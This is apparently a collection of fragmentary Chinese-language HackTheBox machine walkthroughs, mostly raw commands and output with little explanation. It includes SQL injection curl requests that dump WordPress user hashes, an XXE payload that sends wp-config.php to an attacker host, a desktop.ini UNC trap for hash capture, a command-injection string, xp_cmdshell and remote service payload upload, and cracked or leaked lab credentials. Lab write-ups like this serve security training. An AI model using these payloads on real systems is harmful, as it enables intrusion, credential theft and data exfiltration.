smbmap -H 10.10.10.27 -u test [+] Guest session IP: 10.10.10.27:445 Name: 10.10.10.27 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin backups READ ONLY C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC
空密码即可登入
1 2 3 4 5 6 7 8 9 10 11
smbclient \\\\10.10.10.27\\backups -U test Enter WORKGROUP\test's password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Jun 4 12:10:59 2021 .. D 0 Fri Jun 4 12:10:59 2021 prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020 schtasks.txt A 174006 Fri Jun 4 12:05:57 2021 services.txt A 6370 Fri Jun 4 12:10:59 2021 10328063 blocks of size 4096. 8165400 blocks available
1 2
smb: \> get prod.dtsConfig getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press helpfor extra shell commands SQL> enable_xp_cmdshell [*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. [*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> xp_cmdshell whoami output
Password: [*] Requesting shares on 10.10.10.27..... [*] Found writable share ADMIN$ [*] Uploading file OFvCNrQJ.exe [*] Opening SVCManager on 10.10.10.27..... [*] Creating service SMtb on 10.10.10.27..... [*] Starting service SMtb..... [!] Press helpfor extra shell commands Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved.
Nmap scan report for 10.10.10.28 Host is up (0.68s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
------------------ : EV Bug Tracker : ------------------
Provide Bug ID: ;cat$IFS$9/root/root.txt ---------------
cat: /root/reports/: Is a directory af13b0bee69f8a877c3faf667f7beacf
HackTheBox_Archetype
Linux
端口扫描
1 2 3 4 5 6 7 8 9 10
nmap -sV -sT -Pn 10.10.10.46
Nmap scan report for 10.10.10.46 Host is up (0.59s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
漏洞利用
The credentials ftpuser / mc@F1l3ZilL4 can be used to login to the FTP server. – 官方WP
ftp 10.10.10.46 Connected to 10.10.10.46. 220 (vsFTPd 3.0.3) Name (10.10.10.46:root): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 2533 Feb 03 2020 backup.zip 226 Directory send OK. ftp> get backup.zip local: backup.zip remote: backup.zip 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for backup.zip (2533 bytes). 226 Transfer complete. 2533 bytes received in 0.23 secs (10.7549 kB/s)
echo -n "2cb42f8734ea607eefed3b70af13bbd3" > passwd john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt passwd Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status qwerty789 (?) 1g 0:00:00:00 DONE (2021-06-05 19:16) 33.33g/s 3340Kp/s 3340Kc/s 3340KC/s shunda..pogimo Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session complete
Matching Defaults entries for postgres on vaccine: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
Nmap scan report for 10.10.10.29 Host is up (0.38s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 3306/tcp open mysql MySQL (unauthorized) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host Name: SHIELD OS Name: Microsoft Windows Server 2016 Standard OS Version: 10.0.14393 N/A Build 14393 OS Manufacturer: Microsoft Corporation OS Configuration: Member Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00376-30000-00299-AA303 Original Install Date: 2/4/2020, 12:58:01 PM System Boot Time: 6/5/2021, 8:21:33 PM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume2 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 2,047 MB Available Physical Memory: 753 MB Virtual Memory: Max Size: 2,431 MB Virtual Memory: Available: 1,015 MB Virtual Memory: In Use: 1,416 MB Page File Location(s): C:\pagefile.sys Domain: MEGACORP.LOCAL Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. [01]: vmxnet3 Ethernet Adapter Connection Name: Ethernet0 2 DHCP Enabled: No IP address(es) [01]: 10.10.10.29 [02]: fe80::98f9:2cd0:ff27:3fbc [03]: dead:beef::98f9:2cd0:ff27:3fbc Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Privilege Name Description State ======================= ========================================= ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
Nmap scan report for 10.10.10.30 Host is up (0.57s latency). Not shown: 9987 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-08 13:22:07Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: PATHFINDER; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for precious.htb (10.10.11.189) Host is up (0.37s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
gems_file.each do|file_name, file_version| gems_local.each do|local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end
Nmap scan report for 10.10.11.186 Host is up (1.1s latency). Not shown: 828 closed ports, 169 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.70%I=7%D=3/2%Time=64009A16%P=x86_64-pc-linux-gnu%r(Gener SF:icLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\. SF:11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20crea SF:tive\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative\ SF:r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(schema_name) from information_schema.schemata-- -'
库名如下
1 2
information_schema blog
查表
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=0x626c6f67-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=0x626c6f67 and table_name=0x77705f7573657273-- -'
blog库wp_users表列名如下
1 2 3 4 5 6 7 8 9 10
ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
查账户信息
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,group_concat(user_login),group_concat(user_pass) from blog.wp_users-- -'
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://10.10.*.*/?%data;'>">
媒体库中上传wav文件即可出发XXE漏洞
得到FTP账户信息
1
metapress.htb:9NYS_ii@FyL_p5M2NvJ
登录FTP并获取文件
1 2 3 4 5
ftp 10.10.11.186 metapress.htb 9NYS_ii@FyL_p5M2NvJ cd mailer get send_email.php
Nmap scan report for 10.10.11.194 Host is up (0.52s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.70%I=7%D=3/5%Time=640459F7%P=x86_64-pc-linux-gnu%r(inf SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\ SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2 SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon SF:tent-Length:\x20139\r\nDate:\x20Sun,\x2005\x20Mar\x202023\x2008:52:25\x SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang= SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r SF:\nDate:\x20Sun,\x2005\x20Mar\x202023\x2008:52:25\x20GMT\r\nConnection:\ SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sun,\x SF:2005\x20Mar\x202023\x2008:52:26\x20GMT\r\nConnection:\x20close\r\n\r\n< SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\ SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F, SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2 SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
select user, password from mysql.user; ERROR 1054 (42S22): Unknown column 'password' in 'field list'
1 2 3
cat /root/app/server.js ... const query = `Select id,username,password FROM accounts where id = ${id}`;
1 2 3 4 5 6
select * from soccer_db.accounts; +------+-------------------+----------+----------------------+ | id | email | username | password | +------+-------------------+----------+----------------------+ | 1324 | player@player.htb | player | PlayerOftheMatch2022 | +------+-------------------+----------+----------------------+
1 2 3 4 5 6 7 8 9 10 11
select user from mysql.user; +------------------+ | user | +------------------+ | debian-sys-maint | | mysql.infoschema | | mysql.session | | mysql.sys | | player | | root | +------------------+
HackTheBox_Stocker
信息收集
端口扫描
1
nmap -Pn -sV -T5 -v 10.10.11.196
1 2 3 4 5 6 7
Nmap scan report for 10.10.11.196 Host is up (1.7s latency). Not shown: 528 closed ports, 470 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
global index index = 0 defenum(): global index while index < len(data_list): tmp_vhost = data_list[index] index += 1 print(index) res = req.get("http://%s/" % tmp_vhost, allow_redirects=False) if"Location"notin res.headers or res.headers["Location"] != "http://stocker.htb": print(tmp_vhost)
threads = [] for _ inrange(4): t = threading.Thread(target=enum) threads.append(t) t.start()
// TODO: Configure loading from dotenv for production const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
Matching Defaults entries for angoose on stocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker: (ALL) /usr/bin/node /usr/local/scripts/*.js
Nmap scan report for 10.10.11.202 Host is up (0.24s latency). Not shown: 9986 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-08 22:14:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 1433/tcp open ms-sql-s Microsoft SQL Server 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port53-TCP:V=7.80%I=7%D=3/8%Time=64089A0A%P=x86_64-pc-linux-gnu%r(DNSVe SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x SF:04bind\0\0\x10\0\x03"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port1433-TCP:V=7.80%I=7%D=3/8%Time=64089A0B%P=x86_64-pc-linux-gnu%r(ms- SF:sql-s,25,"\x04\x01\0%\0\0\x01\0\0\0\x15\0\x06\x01\0\x1b\0\x01\x02\0\x1c SF:\0\x01\x03\0\x1d\0\0\xff\x0f\0\x07\xd0\0\0\0\0"); Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
漏洞利用
枚举SMB分享路径
1
smbmap -H 10.10.11.202 -u test
1 2 3 4 5 6 7 8 9
[+] Guest session IP: 10.10.11.202:445 Name: 10.10.11.202 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share Public READ ONLY SYSVOL NO ACCESS Logon server share
匿名登入路径/Public
1 2
smbclient //10.10.11.202/Public ls
1 2 3 4 5
. D 0 Sat Nov 19 06:51:25 2022 .. D 0 Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022
5184255 blocks of size 4096. 1468811 blocks available
下载文件
1 2
get "SQL Server Procedures.pdf" exit
得到MSSQL登入凭证
1
PublicUser:GuestUserCantWrite1
登入MSSQL服务并启用responder
1 2
python mssqlclient.py PublicUser:GuestUserCantWrite1@10.10.11.202 responder -I tun0 -A
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8. 2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] 2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8. 2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
Nmap scan report for 10.10.11.187 Host is up (0.13s latency). Not shown: 9986 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-09 17:59:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=3/9%Time=6409BDB7%P=x86_64-pc-linux-gnu%r(DNSVe SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x SF:04bind\0\0\x10\0\x03"); Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
路径枚举
未枚举出路径
VHOST
1
curl http://10.10.11.187/ | grep htb
1
<pclass="lf">Copyright 2022 <ahref="#">flight.htb</a> - All Rights Reserved</p>
[+] IP: 10.10.11.187:445 Name: 10.10.11.187 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share Shared READ, WRITE SYSVOL READ ONLY Logon server share Users READ ONLY Web READ ONLY
[*] Requesting shares on 10.10.11.187..... [-] share 'ADMIN$' is not writable. [-] share 'C$' is not writable. [-] share 'NETLOGON' is not writable. [*] Found writable share Shared [*] Uploading file gpbkeZsf.exe [-] Error uploading file gpbkeZsf.exe, aborting..... [-] Error performing the installation, cleaning up: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
What the hell?
正确方法
监听
1
responder -I tun0 -A
利用写权限上传desktop.ini用于触发SMB请求
1
cat desktop.ini
1 2
[.ShellClassInfo] IconResource=\\10.10.*.*\BFL
上传desktop.ini
1 2
smbclient //10.10.11.187/shared -U S.Moon --password='S@Ss!K@*t13' put desktop.ini
[+] IP: 10.10.11.187:445 Name: 10.10.11.187 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share Shared READ, WRITE SYSVOL READ ONLY Logon server share Users READ ONLY Web READ, WRITE
Host Name: G0 OS Name: Microsoft Windows Server 2019 Standard OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Primary Domain Controller OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00429-00521-62775-AA402 Original Install Date: 7/20/2021, 11:21:49 AM System Boot Time: 3/10/2023, 7:46:45 AM System Manufacturer: VMware, Inc. System Model: VMware7,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume3 System Locale: en-us;English (United States) Input Locale: it;Italian (Italy) Time Zone: (UTC-08:00) Pacific Time (US & Canada) Total Physical Memory: 4,095 MB Available Physical Memory: 2,046 MB Virtual Memory: Max Size: 5,503 MB Virtual Memory: Available: 3,361 MB Virtual Memory: In Use: 2,142 MB Page File Location(s): C:\pagefile.sys Domain: flight.htb Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. [01]: vmxnet3 Ethernet Adapter Connection Name: Ethernet0 2 DHCP Enabled: No IP address(es) [01]: 10.10.11.187 [02]: fe80::c88d:96af:ef3d:fb9f [03]: dead:beef::c88d:96af:ef3d:fb9f [04]: dead:beef::250 Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeImpersonatePrivilege,一眼juicypotato
老的juicypotato好像对Microsoft Windows Server 2019 Standard无效
Nmap scan report for 10.10.11.197 Host is up (1.2s latency). Not shown: 835 closed ports, 163 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
路径枚举
1
curl -I http://10.10.11.197
1 2 3 4 5
HTTP/1.1 301 Moved Permanently Date: Tue, 21 Mar 2023 11:51:08 GMT Server: Apache/2.4.41 (Ubuntu) Location: http://eforenzics.htb/ Content-Type: text/html; charset=iso-8859-1
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.
Regards. Tom
导出zip并解压后得到security.evtx
pip install python-evtx
1
evtx_dump.py security.evtx > sec.xml
查找以下内容
<EventID Qualifiers="">4625</EventID>
某个匹配结果附近找到字符串Def@ultf0r3nz!csPa$$
尝试登入SSH
1 2
ssh smorton@10.10.11.197 Def@ultf0r3nz!csPa$$
登入成功,查看user.txt
1
cat /home/smorton/user.txt
1
0e98d3d1effe4d3e1d9e1dcb2574d7ac
权限提升
1
sudo -l
1 2 3 4 5
Matching Defaults entries for smorton on investigation: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation: (root) NOPASSWD: /usr/bin/binary
1
ls -la /usr/bin/binary
1
-r-xr-xr-- 1 root root 19024 Jan 5 16:02 /usr/bin/binary
if ($width>0 && $height>0) { mkdir("/var/www/uploads/$folder"); $upload = move_uploaded_file($_FILES['image']['tmp_name'], '/var/www/uploads/'.$folder.'/'.$_FILES['image']['name']);
if ($upload) { echo'<p>'.$sanitised.' has been uploaded. The analysis report can be viewed <a href=analysed_images/'.$sanitised.'.txt>here</a> </p>'; echo'<p>Please save this report as it will only be available for the next five minutes</p>'; $folder = "/var/www/uploads/$folder"; $cmd = "cd $folder && /opt/exiftool/exiftool * > /var/www/html/analysed_images/$sanitised.txt"; shell_exec($cmd); } } else { echo'Error: Only JPEG and PNG are allowed'; } } else { echo'Error: Only JPEG and PNG are allow'; } }else { echo'Error: Invalid File Type!'; } ?>
意思是没必要用`
HackTheBox_Encoding
信息收集
端口扫描
1
nmap -Pn -sV -T5 -v 10.10.11.198
1 2 3 4 5 6 7
Nmap scan report for 10.10.11.198 Host is up (0.42s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000051: 200 0 L 0 W 0 Ch "api" 000000177: 403 9 L 28 W 284 Ch "image"
res = req.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data) data = json.loads(res.text) print(b64decode(data["data"]).decode())
if [[ $u ]]; then /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A else /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify fi
Nmap scan report for 10.10.11.204 Host is up (2.3s latency). Not shown: 613 filtered ports, 385 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 8080/tcp open nagios-nsca Nagios NSCA Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
@PostMapping("/upload") public String Upload(@RequestParam("file") MultipartFile file, Model model){ String fileName = StringUtils.cleanPath(file.getOriginalFilename()); if (!file.isEmpty() && !fileName.contains("/")){ String mimetype = new MimetypesFileTypeMap().getContentType(fileName); String type = mimetype.split("/")[0]; if (type.equals("image")){
Nmap scan report for 10.10.11.195 Host is up (0.60s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.54 443/tcp open ssl/http Apache httpd 2.4.54 ((Debian)) Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
路径枚举
查看域名
1
curl -I 10.10.11.195
1 2 3 4 5
HTTP/1.1 301 Moved Permanently Date: Thu, 23 Mar 2023 11:11:56 GMT Server: Apache/2.4.54 (Debian) Location: https://broscience.htb/ Content-Type: text/html; charset=iso-8859-1
$units = array ( "year" => 29030400, // seconds in a year (12 months) "month" => 2419200, // seconds in a month (4 weeks) "week" => 604800, // seconds in a week (7 days) "day" => 86400, // seconds in a day (24 hours) "hour" => 3600, // seconds in an hour (60 minutes) "minute" => 60, // seconds in a minute (60 seconds) "second" => 1// 1 second );
List of relations Schema | Name | Type | Owner --------+-----------+-------+---------- public | comments | table | postgres public | exercises | table | postgres public | users | table | postgres (3 rows)
查看users表中数据
1
SELECT*FROM users;
1 2 3 4 5 6 7 8
